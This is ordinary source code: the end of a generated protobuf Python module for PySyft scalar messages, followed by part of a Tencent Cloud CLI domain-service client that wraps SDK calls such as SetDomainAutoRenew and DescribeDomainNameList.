file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[ _descriptor.OneofDescriptor( name="_gamma", full_name="syft.core.adp.IntermediatePhiScalar._gamma", index=0, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], ), ], serialized_start=609, serialized_end=764, ) _PHISCALAR = _descriptor.Descriptor( name="PhiScalar", full_name="syft.core.adp.PhiScalar", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="id", full_name="syft.core.adp.PhiScalar.id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="min_val", full_name="syft.core.adp.PhiScalar.min_val", index=1, number=2, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="value", full_name="syft.core.adp.PhiScalar.value", index=2, number=3, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="max_val", full_name="syft.core.adp.PhiScalar.max_val", index=3, number=4, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="entity", full_name="syft.core.adp.PhiScalar.entity", index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="gamma", full_name="syft.core.adp.PhiScalar.gamma", index=5, number=6, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[ _descriptor.OneofDescriptor( name="_min_val", full_name="syft.core.adp.PhiScalar._min_val", index=0, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], ), _descriptor.OneofDescriptor( name="_value", full_name="syft.core.adp.PhiScalar._value", index=1, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], ), _descriptor.OneofDescriptor( name="_max_val", full_name="syft.core.adp.PhiScalar._max_val", index=2, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], ), _descriptor.OneofDescriptor( name="_gamma", full_name="syft.core.adp.PhiScalar._gamma", index=3, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], ), ], serialized_start=767, serialized_end=1008, ) _INTERMEDIATESCALAR.fields_by_name[ "id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _BASESCALAR.fields_by_name[ "id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _BASESCALAR.fields_by_name[ "entity" ].message_type = proto_dot_core_dot_adp_dot_entity__pb2._ENTITY _BASESCALAR.oneofs_by_name["_min_val"].fields.append( _BASESCALAR.fields_by_name["min_val"] ) _BASESCALAR.fields_by_name["min_val"].containing_oneof = _BASESCALAR.oneofs_by_name[ "_min_val" ] _BASESCALAR.oneofs_by_name["_value"].fields.append(_BASESCALAR.fields_by_name["value"]) _BASESCALAR.fields_by_name["value"].containing_oneof = _BASESCALAR.oneofs_by_name[ "_value" ] _BASESCALAR.oneofs_by_name["_max_val"].fields.append( _BASESCALAR.fields_by_name["max_val"] ) _BASESCALAR.fields_by_name["max_val"].containing_oneof = _BASESCALAR.oneofs_by_name[ "_max_val" ] _INTERMEDIATEGAMMASCALAR.fields_by_name[ "id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _GAMMASCALAR.fields_by_name[ "id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _GAMMASCALAR.fields_by_name[ "entity" ].message_type = proto_dot_core_dot_adp_dot_entity__pb2._ENTITY _GAMMASCALAR.oneofs_by_name["_min_val"].fields.append( _GAMMASCALAR.fields_by_name["min_val"] ) _GAMMASCALAR.fields_by_name["min_val"].containing_oneof = _GAMMASCALAR.oneofs_by_name[ "_min_val" ] _GAMMASCALAR.oneofs_by_name["_value"].fields.append( _GAMMASCALAR.fields_by_name["value"] ) _GAMMASCALAR.fields_by_name["value"].containing_oneof = _GAMMASCALAR.oneofs_by_name[ "_value" ] _GAMMASCALAR.oneofs_by_name["_max_val"].fields.append( _GAMMASCALAR.fields_by_name["max_val"] ) _GAMMASCALAR.fields_by_name["max_val"].containing_oneof = _GAMMASCALAR.oneofs_by_name[ "_max_val" ] _INTERMEDIATEPHISCALAR.fields_by_name[ "id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _INTERMEDIATEPHISCALAR.fields_by_name[ "entity" ].message_type = proto_dot_core_dot_adp_dot_entity__pb2._ENTITY _INTERMEDIATEPHISCALAR.fields_by_name["gamma"].message_type = _GAMMASCALAR _INTERMEDIATEPHISCALAR.oneofs_by_name["_gamma"].fields.append( _INTERMEDIATEPHISCALAR.fields_by_name["gamma"] ) _INTERMEDIATEPHISCALAR.fields_by_name[ "gamma" ].containing_oneof = _INTERMEDIATEPHISCALAR.oneofs_by_name["_gamma"] _PHISCALAR.fields_by_name[ "id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _PHISCALAR.fields_by_name[ "entity" ].message_type = proto_dot_core_dot_adp_dot_entity__pb2._ENTITY _PHISCALAR.fields_by_name["gamma"].message_type = _GAMMASCALAR _PHISCALAR.oneofs_by_name["_min_val"].fields.append( _PHISCALAR.fields_by_name["min_val"] ) _PHISCALAR.fields_by_name["min_val"].containing_oneof = _PHISCALAR.oneofs_by_name[ "_min_val" ] _PHISCALAR.oneofs_by_name["_value"].fields.append(_PHISCALAR.fields_by_name["value"]) _PHISCALAR.fields_by_name["value"].containing_oneof = _PHISCALAR.oneofs_by_name[ "_value" ] _PHISCALAR.oneofs_by_name["_max_val"].fields.append( _PHISCALAR.fields_by_name["max_val"] ) _PHISCALAR.fields_by_name["max_val"].containing_oneof = _PHISCALAR.oneofs_by_name[ "_max_val" ] _PHISCALAR.oneofs_by_name["_gamma"].fields.append(_PHISCALAR.fields_by_name["gamma"]) _PHISCALAR.fields_by_name["gamma"].containing_oneof = _PHISCALAR.oneofs_by_name[ "_gamma" ] DESCRIPTOR.message_types_by_name["IntermediateScalar"] = _INTERMEDIATESCALAR DESCRIPTOR.message_types_by_name["BaseScalar"] = _BASESCALAR DESCRIPTOR.message_types_by_name["IntermediateGammaScalar"] = _INTERMEDIATEGAMMASCALAR DESCRIPTOR.message_types_by_name["GammaScalar"] = _GAMMASCALAR DESCRIPTOR.message_types_by_name["IntermediatePhiScalar"] = _INTERMEDIATEPHISCALAR DESCRIPTOR.message_types_by_name["PhiScalar"] = _PHISCALAR _sym_db.RegisterFileDescriptor(DESCRIPTOR) IntermediateScalar = _reflection.GeneratedProtocolMessageType( "IntermediateScalar", (_message.Message,), { "DESCRIPTOR": _INTERMEDIATESCALAR, "__module__": "proto.core.adp.scalar_pb2" # @@protoc_insertion_point(class_scope:syft.core.adp.IntermediateScalar) }, ) _sym_db.RegisterMessage(IntermediateScalar) BaseScalar = _reflection.GeneratedProtocolMessageType( "BaseScalar", (_message.Message,), { "DESCRIPTOR": _BASESCALAR, "__module__": "proto.core.adp.scalar_pb2" # @@protoc_insertion_point(class_scope:syft.core.adp.BaseScalar) }, ) _sym_db.RegisterMessage(BaseScalar) IntermediateGammaScalar = _reflection.GeneratedProtocolMessageType( "IntermediateGammaScalar", (_message.Message,), { "DESCRIPTOR": _INTERMEDIATEGAMMASCALAR, "__module__": "proto.core.adp.scalar_pb2" # @@protoc_insertion_point(class_scope:syft.core.adp.IntermediateGammaScalar) }, ) _sym_db.RegisterMessage(IntermediateGammaScalar) GammaScalar = _reflection.GeneratedProtocolMessageType( "GammaScalar", (_message.Message,), { "DESCRIPTOR": _GAMMASCALAR, "__module__": "proto.core.adp.scalar_pb2" # @@protoc_insertion_point(class_scope:syft.core.adp.GammaScalar) }, ) _sym_db.RegisterMessage(GammaScalar) IntermediatePhiScalar = _reflection.GeneratedProtocolMessageType( "IntermediatePhiScalar", (_message.Message,), { "DESCRIPTOR": _INTERMEDIATEPHISCALAR, "__module__": "proto.core.adp.scalar_pb2" # @@protoc_insertion_point(class_scope:syft.core.adp.IntermediatePhiScalar) }, ) _sym_db.RegisterMessage(IntermediatePhiScalar) PhiScalar = _reflection.GeneratedProtocolMessageType( "PhiScalar", (_message.Message,), { "DESCRIPTOR": _PHISCALAR, "__module__": "proto.core.adp.scalar_pb2" # @@protoc_insertion_point(class_scope:syft.core.adp.PhiScalar) }, ) _sym_db.RegisterMessage(PhiScalar) # @@protoc_insertion_point(module_scope)

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81736639ac28a4db56d5007f839f5b46e6f9547f

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py

Python

tccli/services/domain/domain_client.py

tencentcloudapi-test/tencentcloud-cli

da9733765df2b405b83b7acff48256f31e053ab1

[ "Apache-2.0" ]

null

tccli/services/domain/domain_client.py

tencentcloudapi-test/tencentcloud-cli

da9733765df2b405b83b7acff48256f31e053ab1

[ "Apache-2.0" ]

null

tccli/services/domain/domain_client.py

tencentcloudapi-test/tencentcloud-cli

da9733765df2b405b83b7acff48256f31e053ab1

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- import os import sys import six import json import tccli.options_define as OptionsDefine import tccli.format_output as FormatOutput from tccli import __version__ from tccli.utils import Utils from tccli.exceptions import ConfigurationError, ClientError, ParamError from tencentcloud.common import credential from tencentcloud.common.profile.http_profile import HttpProfile from tencentcloud.common.profile.client_profile import ClientProfile from tencentcloud.domain.v20180808 import domain_client as domain_client_v20180808 from tencentcloud.domain.v20180808 import models as models_v20180808 from jmespath import search import time def doSetDomainAutoRenew(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.SetDomainAutoRenewRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.SetDomainAutoRenew(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doCheckBatchStatus(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.CheckBatchStatusRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.CheckBatchStatus(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doUploadImage(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.UploadImageRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.UploadImage(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doSendPhoneEmailCode(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.SendPhoneEmailCodeRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.SendPhoneEmailCode(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeDomainNameList(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeDomainNameListRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.DescribeDomainNameList(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDeletePhoneEmail(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DeletePhoneEmailRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.DeletePhoneEmail(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeDomainBaseInfo(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeDomainBaseInfoRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.DescribeDomainBaseInfo(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeBatchOperationLogDetails(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeBatchOperationLogDetailsRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.DescribeBatchOperationLogDetails(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDeleteTemplate(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DeleteTemplateRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.DeleteTemplate(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) 